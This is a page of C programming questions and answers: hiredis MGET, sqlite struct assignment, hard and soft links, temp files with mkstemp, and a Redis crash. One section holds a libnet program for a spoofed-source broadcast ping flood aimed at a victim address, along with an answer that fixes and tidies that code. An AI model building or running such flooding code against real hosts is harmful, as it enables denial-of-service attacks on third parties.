Can I use MGET with hiredis? - c

Consider following example:
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <hiredis/hiredis.h>
int main(int argc, char **argv) {
redisContext *redis;
redisReply *reply;
redis = redisConnect("127.0.0.1", 6379);
if(redis->err) {
fprintf(stderr, "Connection error: %s\n", redis->errstr);
exit(EXIT_FAILURE);
}
reply = redisCommand(redis, "SET %s %s", "foo", "bar");
printf("SET %s %s: %s\n", "foo", "bar", reply->str);
freeReplyObject(reply);
reply = redisCommand(redis, "SET %s %s", "name", "value");
printf("SET %s %s: %s\n", "name", "value", reply->str);
freeReplyObject(reply);
reply = redisCommand(redis, "MGET %s %s", "foo", "name");
printf("MGET %s %s: %s\n", "foo", "name", reply->str);
freeReplyObject(reply);
exit(EXIT_SUCCESS);
}
The output is:
PING: PONG
SET foo bar: OK
GET foo: bar
SET name value: OK
MGET foo name: (null)
It's about return from MGET. Can I get multi keys using hiredis?

A redisReply is a typed object (see the type field), and a multi-bulk reply has a specific type (REDIS_REPLY_ARRAY). The str field is not relevant in that case.
From the hiredis documentation:
The number of elements in the multi bulk reply is stored in reply->elements.
Every element in the multi bulk reply is a redisReply object as well
and can be accessed via reply->element[..index..].
Redis may reply with nested arrays but this is fully supported.
So your code should be changed as follows:
reply = redisCommand(redis, "MGET %s %s", "foo", "name" );
if ( reply->type == REDIS_REPLY_ERROR )
printf( "Error: %s\n", reply->str );
else if ( reply->type != REDIS_REPLY_ARRAY )
printf( "Unexpected type: %d\n", reply->type );
else
{
int i;
for ( i=0; i<reply->elements; ++i )
printf( "Result: %s\n", reply->element[i]->str );
}
freeReplyObject(reply);
With this change, the output is now:
SET foo bar: OK
SET name value: OK
Result: bar
Result: value
Note: there is no need to free each individual element since freeReplyObject deletes the whole tree.

Related

Populating a C struct

I would like to assign value fetched from sqlite database to a c-struct so I do that as follows:
typedef struct
{
uint16_t shortID;
double temp;
unsigned long timestamp;
} location_t;
static uint8_t prv_set_value(lwm2m_data_t* dataP,
location_t* tempData)
{
uint8_t ret = COAP_205_CONTENT;
sqlite3 *db;
sqlite3_stmt *res;
// connect to sqlite
int rc = sqlite3_open("test.sqlite3", &db);
if (rc != SQLITE_OK) {
fprintf(stderr, "Cannot open database: %s\n", sqlite3_errmsg(db));
sqlite3_close(db);
return 1;
}
else {
fprintf(stderr, "Connection to SQLITE established!.\n" );
}
rc = sqlite3_prepare_v2(db, "SELECT temp FROM envirment ORDER BY ID DESC LIMIT 1", -1, &res, 0);
if (rc != SQLITE_OK) {
fprintf(stderr, "Failed to fetch data: %s\n", sqlite3_errmsg(db));
sqlite3_close(db);
return 1;
}
rc = sqlite3_step(res);
if (rc == SQLITE_ROW) {
fprintf(stdout, "Temperature value ==== : %s\n", sqlite3_column_double(res, 0));
tempData->temp = sqlite3_column_double(res, 0);
fprintf(stdout, "Temp value from temperature_data_t: %s\n", tempData->temp);
}
sqlite3_finalize(res);
sqlite3_close(db);
}
return ret;
}
Data is fetched from the sqlite database. I'm doing a check to see if the function behaves as intended so I display the value before and after the assignment. The output from the struct assignment tempData->temp = sqlite3_column_double(res, 0);as displayed in next line fprintf(stdout, " Temp value from temperature_data_t: %s\n", tempData->temp); is null. Following is the function output:
Connection to SQLITE established!.
Temperature value ==== : 29.1
Temp value from temperature_data_t: (null)
What is the correct way to assign fetched to tempData->temp?
tempData->temp = sqlite3_column_double(res, 0); is correct but because tempData->temp is a double, not a char*, replace
fprintf(stdout, "Temp value from temperature_data_t: %s\n", tempData->temp) ;
by
fprintf(stdout, "Temp value from temperature_data_t: %f\n", tempData->temp);
I suppose the line
fprintf(stdout, "Temperature value ==== : %s\n", sqlite3_column_double(res, 0));
is in fact
fprintf(stdout, "Temperature value ==== : %s\n", sqlite3_column_text(res, 0));
because sqlite3_column_double doesn't return a char*
May be see also : retrieving float values using sqlite3_column_double

How to create hard/soft links in C?

I need to create a hard link to an existing file or directory.
I also need to create a soft/symbolic link to an existing file or directory. This is part of a larger program which is shown below. Commands are executed by typing "-f pathname linkname" and each break argument is a different command. I believe the functions -f, -d and -h have been created correctly so far. However I am having trouble creating these links.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <errno.h>
#include <sys/types.h>
#include <string.h>
#include <fcntl.h>
//Handles filename, absolute pathname
//Need relative pathname for -f
int main(int argc, char **argv)
{
char command[200], flag[20], pathname[100], linkname[100];
struct stat st = {0};
char cmd[200];
char *token; //Pointer
int counter = 1; //Counter variable
FILE *fp;
char mode2[] = "0750"; //To set the permission of a file/path
long j;
char mode[] = "0640"; //To set the permission of a file/path
long i;
printf("Enter command: ");
fgets(cmd, 420, stdin);
//User input is tokenized to determine the proper commands are entered and executed
token = strtok(cmd, " "); //Input is tokenized by white spaces.
if(token == NULL)
{
printf("Error with command input.\n");
exit(EXIT_FAILURE);
}
strcpy(command, token);
token = strtok(NULL, " ");
if(token != NULL)
strcpy(flag, token);
token = strtok(NULL, " ");
if(token != NULL)
strcpy(pathname, token);
token = strtok(NULL, " ");
if(token != NULL)
strcpy(linkname, token);
//Switch statement to determine which command the user is choosing and execute that command.
switch(flag[1]) {
//The f case will create a file who's name is chosen by the user.
case 'f':
fp=fopen(pathname,"w");
fclose(fp);
char mode[] = "0640"; //Sets the permission of file to 0640.
i = strtol(mode, 0, 8);
if (chmod(pathname, i) < 0)
{
fprintf(stderr, "%s: error in chmod(%s, %s) - %d (%s)\n",
argv[0], pathname, mode, errno, strerror(errno));
return -1;
}
return 0;
break;
//The d case will create a new directory chosen by the user.
case 'd':
if (stat(pathname, &st) == -1) {
mkdir(pathname, 0750); //Directory is given permission 0750.
}
j = strtol(mode, 0, 8);
if (chmod (pathname,j) < 0)
{
fprintf(stderr, "%s: error in chmod(%s, %s) - %d (%s)\n",
argv[0], pathname, mode, errno, strerror(errno));
return -1;
}
return 0;
break;
//The h case will create a hardlink to an existing file.
case 'h':
char *pathname; //Existing file
char *linkname; //Name of desired hardlink
int hlink; //Stores path
hlink = link(pathname, linkname); //Links linkname to pathname
if (chmod (pathname,j) < 0)
{
fprintf(stderr, "%s: error linking(%s, %s) - %d (%s)\n",
argv[0], pathname, mode, errno, strerror(errno));
return -1;
}
return 0;
break;
//The s case will create a symbol link to an existing file.
case 's':
char *pathname;
char *linkname;
int slink;
slink = symlink(pathname, linkname); //Using the symlink function to create a symbolic link of pathname
if (chmod (pathname,j) < 0)
{
fprintf(stderr, "%s: error linking(%s, %s) - %d (%s)\n",
argv[0], pathname, mode, errno, strerror(errno));
return -1;
}
return 0;
break;
}
}
POSIX
http://pubs.opengroup.org/onlinepubs/009695399/functions/link.html
http://pubs.opengroup.org/onlinepubs/009695399/functions/symlink.html
#include <unistd.h>
char *path1 = "/home/cnd/mod1";
char *path2 = "/modules/pass1";
int status;
...
status = link (path1, path2);
Windows
https://learn.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-createhardlinka
https://learn.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-createsymboliclinka
BOOL fCreatedLink = CreateHardLink( pszNewLinkName,
pszExistingFileName,
NULL ); // reserved, must be NULL
if ( fCreatedLink == FALSE )
{
;// handle error condition
}

libnet error : success

i am trying to create a ping flood program which takes as argument the target ip address and the broadcast ip address.
the program will send icmp echo packets to the broadcast address and with the victms ip address as the source.
all the hosts on the networks who got the packet will return the answer to the victim.
the code looks like this:
#include <stdio.h>
#include <libnet.h>
#include <stdlib.h>
#include <udi.h>
void usage(char * pname)
{
printf("[!] The program sends fake icmp echo request to broadcast address in order to ping flood a device\n", pname);
printf("[!] USAGE - %s [ipv4 address to attack] [ipv4 broadcast address]\n", pname);
}
int main(int argc, char *argv[])
{
if(argc != 3)
usage(argv[0]);
char errbuff[LIBNET_ERRBUF_SIZE];
libnet_t *l;
uint16_t cmp_id;
uint16_t ip_id;
for(int i=0; i<100; i++)
{
l=libnet_init(LIBNET_LINK, (char *) "wlan0", errbuff); //initializing the packet
if(l==NULL)
{
fatal("in initializing the index of the packet...\nERROR: ");
printf("%s",libnet_geterror(l));
}
libnet_seed_prand(l);
cmp_id = (uint16_t) libnet_get_prand(LIBNET_PR16);
ip_id = (uint16_t) libnet_get_prand(LIBNET_PR16);
if(libnet_build_icmpv4_echo(ICMP_ECHO, 0, 0, cmp_id, 1, NULL, 0, l, 0) == 0)
{
fatal("while trying to build icmpv4_echo packet...\nERROR: ");
printf("%s",libnet_geterror(l));
}
if(libnet_build_ipv4(LIBNET_IPV4_H+LIBNET_ICMPV4_ECHO_H, 0, ip_id, 0, 255, IPPROTO_ICMP, 0, inet_addr(argv[1]), inet_addr(argv[2]), NULL, 0, l, 0) == -1)
{
fatal("while trying to create ipv4 header...\nERROR: ");
printf("%s",libnet_geterror(l));
}
if(libnet_write(l) == -1)
{
fatal("while trying to write the packet...\nERROR: ");
printf("%s",libnet_geterror(l));
}
libnet_destroy(l);
}
return 0;
}
and when i run it i get this output:
[!] FATAL ERROR: while trying to write the packet...
ERROR: : Success
i am using libnet library in order to create the packet and i have a feeling i have some kind of a mistake in the libnet_build_ipv4() function.
any help and suggestions ?
thanx.
regarding:
if(libnet_build_icmpv4_echo(ICMP_ECHO, 0, 0, cmp_id, 1, NULL, 0, l, 0) == 0)
this is not correct, a 0 returned value indicates success.
the statement should be:
if(libnet_build_icmpv4_echo(ICMP_ECHO, 0, 0, cmp_id, 1, NULL, 0, l, 0) != 0)
Notice the change from == to !=
the following proposed code:
cleanly compiles and links with:
gcc -ggdb -Wall -Wextra -Wconversion -pedantic -std=gnu11 libnet-config --defines untitled2.c -o untitled2 libnet-config --libs
is consistently formatted
exits immediately after any error, However, you may need to add the statement: libnet_destroy( libObject ); at any exit point after the object is created.
Caveat has not been tested with actual URLs
And now the proposed code:
#include <stdio.h>
#include <libnet.h>
#include <stdlib.h>
//#include <udi.h>
void usage(char * pname);
int main(int argc, char *argv[])
{
if(argc != 3)
{
usage(argv[0]);
exit( EXIT_FAILURE );
}
char errbuff[LIBNET_ERRBUF_SIZE];
uint16_t cmp_id;
uint16_t ip_id;
for( int i=0; i<100; i++ )
{
libnet_t *libObject = libnet_init(LIBNET_LINK, (char *) "wlan0", errbuff); //initializing the packet
if( ! libObject )
{
fprintf( stderr, "%s\n",
"in initializing the index of the packet...\nERROR: ");
fprintf( stderr, "%s\n", libnet_geterror( libObject ));
}
libnet_seed_prand( libObject );
cmp_id = (uint16_t) libnet_get_prand(LIBNET_PR16);
ip_id = (uint16_t) libnet_get_prand(LIBNET_PR16);
if(libnet_build_icmpv4_echo(
ICMP_ECHO,
0,
0,
cmp_id,
1,
NULL,
0,
libObject,
0) != 0)
{
fprintf( stderr, "%s\n",
"while trying to build icmpv4_echo packet...\nERROR: ");
fprintf( stderr, "%s\n",
libnet_geterror( libObject ));
}
if( libnet_build_ipv4(
LIBNET_IPV4_H+LIBNET_ICMPV4_ECHO_H,
0,
ip_id,
0,
255,
IPPROTO_ICMP,
0,
inet_addr(argv[1]),
inet_addr(argv[2]),
NULL,
0,
libObject,
0) == -1)
{
fprintf( stderr, "%s\n",
"while trying to create ipv4 header...\nERROR: ");
fprintf( stderr, "%s\n",
libnet_geterror( libObject ));
}
if(libnet_write( libObject ) == -1)
{
fprintf( stderr, "%s\n",
"while trying to write the packet...\nERROR: ");
fprintf( stderr, "%s\n",
libnet_geterror( libObject ));
}
libnet_destroy( libObject );
}
return 0;
}
void usage(char * pname)
{
fprintf( stderr, "%s %s\n",
pname,
"sends fake icmp echo request to broadcast address "
"in order to ping flood a device");
fprintf( stderr, "USAGE: %s %s\n",
pname,
"[ipv4 address to attack] [ipv4 broadcast address]");
}
a run of the code, with no parameters results in:
./untitled2 sends fake icmp echo request to broadcast address in order to ping flood a device
USAGE: ./untitled2 [ipv4 address to attack] [ipv4 broadcast address]

How to I make a temporary filename that's safe for concurrent execution?

In the following code, I need a unique filename, do some stuff with it, and let it be. It is about converting a .class file to binary, let us call it compilation.
It works perfectly when run in isolation or done 3 times at a time; however, I run into issues when I start up many multiple processes (e.g., 7) where one or more of my compilations fail.
This is the code:
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
static unsigned int numFiles = 0;
static unsigned long numBytes = 0;
FILE* rawf;
char* raw_file_name_end = ".raw_ujc";
char * rawfilename;
static void byte(unsigned char v){
if(numBytes) printf(", ");
printf((numBytes & 0x0F) ? "0x%02X" : "\n\t0x%02X", v);
fwrite(&v,sizeof(v),1,rawf);
numBytes++;
}
int main(int argc, char** argv){
const char* self = argv[0];
int c;
const char* classCvt = 0;
long len;
if(argc == 1){
fprintf(stderr, "USAGE: %s [-c <path_to_classCvt>] <file 1> [<file 2> [ <file 3> [...]]] > result.c\n", self);
return -1;
}
argv++;
argc--;
if(argv[0][0] == '-' && argv[0][1] == 'c' && !argv[0][2]){
classCvt = argv[1];
argv += 2;
argc -= 2;
}
printf("\nService optimized bytecode = {\n\t");
while(argc--){
char* filename = *argv;
rawfilename = malloc(sizeof(char) * (strlen(filename)-strlen(".class")) + sizeof(char) * strlen(raw_file_name_end)+1);
strncpy(rawfilename,filename,(strlen(filename)-strlen(".class")));
strcat(rawfilename,raw_file_name_end);
fprintf(stderr, "rawfilename after alloc: %s \n", rawfilename);
if(classCvt){
char* t;
filename = tempnam(NULL, NULL);
if(!filename){
fprintf(stderr, "%s: failed to create a tempfile: %d\n", self, errno);
return -10;
}
t = malloc(strlen(filename) + strlen(classCvt) + strlen(*argv) + 32);
if(!t){
fprintf(stderr, "%s: failed to alloc a small string. This is unlikely\n", self);
free(t);
return -11;
}
sprintf(t, "%s < %s > %s", classCvt, *argv, filename);
if(system(t)){
fprintf(stderr, "%s: system() fail: %d\n", self, errno);
free(t);
return -12;
}
free(t);
}
printf("filename is %s\n",filename);
FILE* f = fopen(filename, "r");
rawf = fopen(rawfilename, "wb");
if(filename != *argv){
unlink(filename);
free(filename);
}
if(!f){
fprintf(stderr, "%s: failed to open '%s': %d\n", self, *argv, errno);
fclose(f);
return -2;
}
if(!f){
fprintf(stderr, "%s: failed to open '%s': %d\n", self, *argv, errno);
fclose(f);
return -2;
}
if(fseek(f, 0, SEEK_END)){
fprintf(stderr, "%s: failed to seek(1) in '%s': %d\n", self, *argv, errno);
fclose(f);
return -3;
}
len = ftell(f);
if(len < 0){
fprintf(stderr, "%s: failed to tell in '%s': %d\n", self, *argv, errno);
fclose(f);
return -4;
}
if(fseek(f, 0, SEEK_SET)){
fprintf(stderr, "%s: failed to seek(2) in '%s': %d\n", self, *argv, errno);
fclose(f);
return -5;
}
if(len > 0x00FFFFFFUL){
fprintf(stderr, "%s: file '%s' is %lu bytes, while maximum allowable size is %lu.\n", self, *argv, len, 0x00FFFFFFUL);
fclose(f);
return -6;
}
byte(len >> 16);
byte(len >> 8);
byte(len);
while((c = fgetc(f)) != EOF){
byte(c);
}
numFiles++;
fclose(f);
fclose(rawf);
argv++;
}
byte(0);
byte(0);
byte(0);
printf("\n};\n");
fprintf(stderr, "%s: processed %u files, producing %lu (0x%lX) bytes of output\n", self, numFiles, numBytes, numBytes);
fprintf(stderr, "rawfilename at end: %s \n", rawfilename);
free(rawfilename);
return 0;
}
After looking around, people recommend using mkstemp(); however, as you can see, I actually do need the filename in several places.
I tried adjusting this but keep running into errors. How can I safely adjust this work method?
From the manpage for mkstemp
int mkstemp(char *template);
The mkstemp() function generates a unique temporary filename from template, creates and opens the file, and returns an open file descriptor for the file.
The last six characters of template must be "XXXXXX" and these are
replaced with a string that makes the filename unique. Since it will
be modified, template must not be a string constant, but should be
declared as a character array.
The file is created with permissions 0600, that is, read plus write
for owner only. The returned file descriptor provides both read and
write access to the file. The file is opened with the open(2) O_EXCL
flag, guaranteeing that the caller is the process that creates the
file.
so if you need the filename, you can find it in the template argument passed to mkstemp.

Mysterious Redis C core dump

I am currently running a C program calling a Redis Server instance. After the 1020th iteration, it always bombs with:
Redis Connect 1021 Error: System error Segmentation fault (core
dumped)
Ugh. Something tells me one of the pointers decided to go wild. Can anyone help here? I am using the current version of Ubuntu Linux
//codingsteps.com/installing-using-hiredis-c-client-library-for-redis/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include "hiredis.h"
void redisTest(void) {
redisReply *reply;
long int i;
// Start measuring time
clock_t start = clock();
// For local connections:
//redisContext *c = redisConnect("127.0.0.1", 6379);
redisContext *c = redisConnect("localhost", 6379);
// For connections to a remote Redis server:
//redisContext *c = redisConnect
// ("ec2-**-**-***-**.compute-1.amazonaws.com", 6379);
if (c->err) {
printf("Error: %s\n", c->errstr);
}else{
printf("Connection Made! \n");
}
// Get all keys for testing
//reply = redisCommand(c, "keys %s", "*");
reply = redisCommand(c, "lrange EUR 0 10", "*");
if ( reply->type == REDIS_REPLY_ERROR )
printf( "Error: %s\n", reply->str );
else if ( reply->type != REDIS_REPLY_ARRAY )
printf( "Unexpected type: %d\n", reply->type );
else {
for ( i=0; i<reply->elements; ++i ){
printf( "Result:%lu: %s\n", i,
reply->element[i]->str );
}
}
printf( "Total Number of Results: %lu\n", i );
// Output Elapsed time
printf ( "%f Seconds\n", ( (double)clock() - start ) /
CLOCKS_PER_SEC );
redisFree(c);
freeReplyObject(reply);
}
int main(void) {
int i = 0;
for(;;) {
printf("\n\nRedis Connect %d\n",i++);
redisTest();
}
}
Update: I added redisFree() as suggested by others (thanks for that). This still core dumps but after 28233 iterations.

Resources